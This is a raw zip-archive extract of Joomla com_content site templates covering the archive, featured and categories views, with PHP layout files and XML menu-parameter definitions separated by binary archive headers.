                            <meta content="UserPageVisits:<?php echo $item->hits; ?>" itemprop="interactionCount">
                            <?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
                        </div>
                    </dd>
                <?php endif; ?>
            </dl>
        </div>
        <?php endif; ?>
        <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
        <?php echo $item->event->afterDisplayContent; ?>
    </div>
    <?php endforeach; ?>
</div>
<div class="com-content-archive__navigation w-100">
    <?php if ($this->params->def('show_pagination_results', 1)) : ?>
        <p class="com-content-archive__counter counter float-end pt-3 pe-2">
            <?php echo $this->pagination->getPagesCounter(); ?>
        </p>
    <?php endif; ?>
    <div class="com-content-archive__pagination">
        <?php echo $this->pagination->getPagesLinks(); ?>
    </div>
</div>
PK���\T�n��
�
%com_content/tmpl/featured/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="blog-featured" itemscope itemtype="https://schema.org/Blog">
    <?php if ($this->params->get('show_page_heading') != 0) : ?>
    <div class="page-header">
        <h1>
        <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <?php if (!empty($this->lead_items)) : ?>
        <div class="blog-items items-leading <?php echo $this->params->get('blog_class_leading'); ?>">
            <?php foreach ($this->lead_items as &$item) : ?>
                <div class="blog-item"
                    itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                        <?php
                        $this->item = & $item;
                        echo $this->loadTemplate('item');
                        ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->intro_items)) : ?>
        <?php $blogClass = $this->params->get('blog_class', ''); ?>
        <?php if ((int) $this->params->get('num_columns') > 1) : ?>
            <?php $blogClass .= (int) $this->params->get('multi_column_order', 0) === 0 ? ' masonry-' : ' columns-'; ?>
            <?php $blogClass .= (int) $this->params->get('num_columns'); ?>
        <?php endif; ?>
        <div class="blog-items <?php echo $blogClass; ?>">
        <?php foreach ($this->intro_items as $key => &$item) : ?>
            <div class="blog-item"
                itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                    <?php
                    $this->item = & $item;
                    echo $this->loadTemplate('item');
                    ?>
            </div>
        <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->link_items)) : ?>
        <div class="items-more">
            <?php echo $this->loadTemplate('links'); ?>
        </div>
    <?php endif; ?>

    <?php if ($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2 && $this->pagination->pagesTotal > 1)) : ?>
        <div class="w-100">
            <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                <p class="counter float-end pt-3 pe-2">
                    <?php echo $this->pagination->getPagesCounter(); ?>
                </p>
            <?php endif; ?>
            <?php echo $this->pagination->getPagesLinks(); ?>
        </div>
    <?php endif; ?>

</div>
PK���\�֚I6I6%com_content/tmpl/featured/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE" option="COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Featured_Articles"
		/>
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="advanced" label="JGLOBAL_BLOG_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL">
			<field
				name="featured_categories"
				type="category"
				label="COM_CONTENT_FEATURED_CATEGORIES_LABEL"
				extension="com_content"
				multiple="true"
				layout="joomla.form.field.list-fancy-select"
				default=" "
				parentclass="stack span-3"
				>
				<option value=" ">JOPTION_ALL_CATEGORIES</option>
			</field>

			<field
				name="layout_type"
				type="hidden"
				default="blog"
			/>
			<field
				name="num_leading_articles"
				type="number"
				label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class_leading"
				type="text"
				label="JGLOBAL_BLOG_CLASS_LEADING"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_intro_articles"
				type="number"
				label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class"
				type="text"
				label="JGLOBAL_BLOG_CLASS"
				description="JGLOBAL_BLOG_CLASS_NOTE_DESC"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_columns"
				type="number"
				label="JGLOBAL_NUM_COLUMNS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1-inline"
				useglobal="true"
			/>

			<field
				name="multi_column_order"
				type="list"
				label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_BLOG_DOWN_OPTION</option>
				<option value="1">JGLOBAL_BLOG_ACROSS_OPTION</option>
			</field>

			<field
				name="num_links"
				type="number"
				label="JGLOBAL_NUM_LINKS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1"
				useglobal="true"
			/>

			<field
				name="link_intro_image"
				type="list"
				label="JGLOBAL_LINKED_INTRO_IMAGE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="orderby_pri"
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="random">JGLOBAL_RANDOM_ORDER</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
				<option value="unpublished">JUNPUBLISHED</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-2"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="article"
			label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>
			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>

		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�IZa��*com_content/tmpl/featured/default_item.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// Create a shortcut for params.
$params  = &$this->item->params;
$canEdit = $this->item->params->get('access-edit');
$info    = $this->item->params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));

$currentDate       = Factory::getDate()->format('Y-m-d H:i:s');
$isExpired         = !is_null($this->item->publish_down) && $this->item->publish_down < $currentDate;
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isUnpublished     = $this->item->state == ContentComponent::CONDITION_UNPUBLISHED || $isNotPublishedYet || $isExpired;
?>

<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>

<div class="item-content">
    <?php if ($isUnpublished) : ?>
        <div class="system-unpublished">
    <?php endif; ?>

    <?php if ($params->get('show_title')) : ?>
        <h2 class="item-title" itemprop="headline">
        <?php if ($params->get('link_titles') && $params->get('access-view')) : ?>
            <a href="<?php echo Route::_(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); ?>" itemprop="url">
                <?php echo $this->escape($this->item->title); ?>
            </a>
        <?php else : ?>
            <?php echo $this->escape($this->item->title); ?>
        <?php endif; ?>
        </h2>
    <?php endif; ?>

    <?php if ($this->item->state == ContentComponent::CONDITION_UNPUBLISHED) : ?>
        <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
    <?php endif; ?>
    <?php if ($isNotPublishedYet) : ?>
        <span class="badge bg-warning text-light"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
    <?php endif; ?>
    <?php if ($isExpired) : ?>
        <span class="badge bg-warning text-light"><?php echo Text::_('JEXPIRED'); ?></span>
    <?php endif; ?>

    <?php if ($canEdit) : ?>
        <?php echo LayoutHelper::render('joomla.content.icons', ['params' => $params, 'item' => $this->item]); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php // @todo Not that elegant would be nice to group the params ?>
    <?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
        || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

    <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
        <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'above']); ?>
    <?php endif; ?>
    <?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php echo $this->item->introtext; ?>

    <?php if ($info == 1 || $info == 2) : ?>
        <?php if ($useDefList) : ?>
            <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'below']); ?>
        <?php endif; ?>
        <?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
            <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
        <?php endif; ?>
    <?php endif; ?>

    <?php if ($params->get('show_readmore') && $this->item->readmore) :
        if ($params->get('access-view')) :
            $link = Route::_(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
        else :
            $menu = Factory::getApplication()->getMenu();
            $active = $menu->getActive();
            $itemId = $active->id;
            $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
            $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
        endif; ?>

        <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $this->item, 'params' => $params, 'link' => $link]); ?>

    <?php endif; ?>

    <?php if ($isUnpublished) : ?>
        </div>
    <?php endif; ?>

</div>

<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
<?php echo $this->item->event->afterDisplayContent; ?>
PK���\f�%���+com_content/tmpl/featured/default_links.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

?>
<ol class="com-content-blog__links">
    <?php foreach ($this->link_items as $item) : ?>
        <li class="com-content-blog__link">
            <a href="<?php echo Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
                <?php echo $item->title; ?></a>
        </li>
    <?php endforeach; ?>
</ol>
PK���\{��ee-com_content/tmpl/categories/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
    ?>
    <div class="com-content-categories__items">
        <?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
            <?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
            <div class="com-content-categories__item">
                <div class="com-content-categories__item-title-wrapper">
                    <div class="com-content-categories__item-title">
                        <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
                        <?php echo $this->escape($item->title); ?></a>
                        <?php if ($this->params->get('show_cat_num_articles_cat') == 1) :?>
                            <span class="badge bg-info">
                                <?php echo Text::_('COM_CONTENT_NUM_ITEMS'); ?>&nbsp;
                                <?php echo $item->numitems; ?>
                            </span>
                        <?php endif; ?>
                    </div>
                    <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
                        <button
                            type="button"
                            id="category-btn-<?php echo $item->id; ?>"
                            data-category-id="<?php echo $item->id; ?>"
                            class="btn btn-secondary btn-sm"
                            aria-expanded="false"
                            aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"
                        >
                            <span class="icon-plus" aria-hidden="true"></span>
                        </button>
                    <?php endif; ?>
                </div>
                <?php if ($this->params->get('show_description_image') && $item->getParams()->get('image')) : ?>
                    <?php echo HTMLHelper::_('image', $item->getParams()->get('image'), $item->getParams()->get('image_alt')); ?>
                <?php endif; ?>
                <?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
                    <?php if ($item->description) : ?>
                        <div class="com-content-categories__description category-desc">
                            <?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_content.categories'); ?>
                        </div>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
                    <div class="com-content-categories__children" id="category-<?php echo $item->id; ?>" hidden="">
                    <?php
                    $this->items[$item->id] = $item->getChildren();
                    $this->parent = $item;
                    $this->maxLevelcat--;
                    echo $this->loadTemplate('items');
                    $this->parent = $item->getParent();
                    $this->maxLevelcat++;
                    ?>
                    </div>
                <?php endif; ?>
            </div>
            <?php endif; ?>
        <?php endforeach; ?>
    </div>
<?php endif; ?>
PK���\:��vv'com_content/tmpl/categories/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

// Add strings for translations in Javascript.
Text::script('JGLOBAL_EXPAND_CATEGORIES');
Text::script('JGLOBAL_COLLAPSE_CATEGORIES');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_categories');
$wa->usePreset('com_categories.shared-categories-accordion');

?>
<div class="com-content-categories categories-list">
    <?php
        echo LayoutHelper::render('joomla.content.categories_default', $this);
        echo $this->loadTemplate('items');
    ?>
</div>
PK���\F)S*C*C'com_content/tmpl/categories/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_List_All_Categories"
		/>
		<message>
			<![CDATA[COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		>
			<field
				name="id"
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				extension="com_content"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">

			<field
				name="show_base_description"
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="categories_description"
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				cols="25"
				rows="5"
			/>

			<field
				name="maxLevelcat"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories_cat"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc_cat"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_num_articles_cat"
				type="list"
				label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
	</fieldset>

	<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXLEVEL_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_no_articles"
				type="list"
				label="COM_CONTENT_NO_ARTICLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_num_articles"
				type="list"
				label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
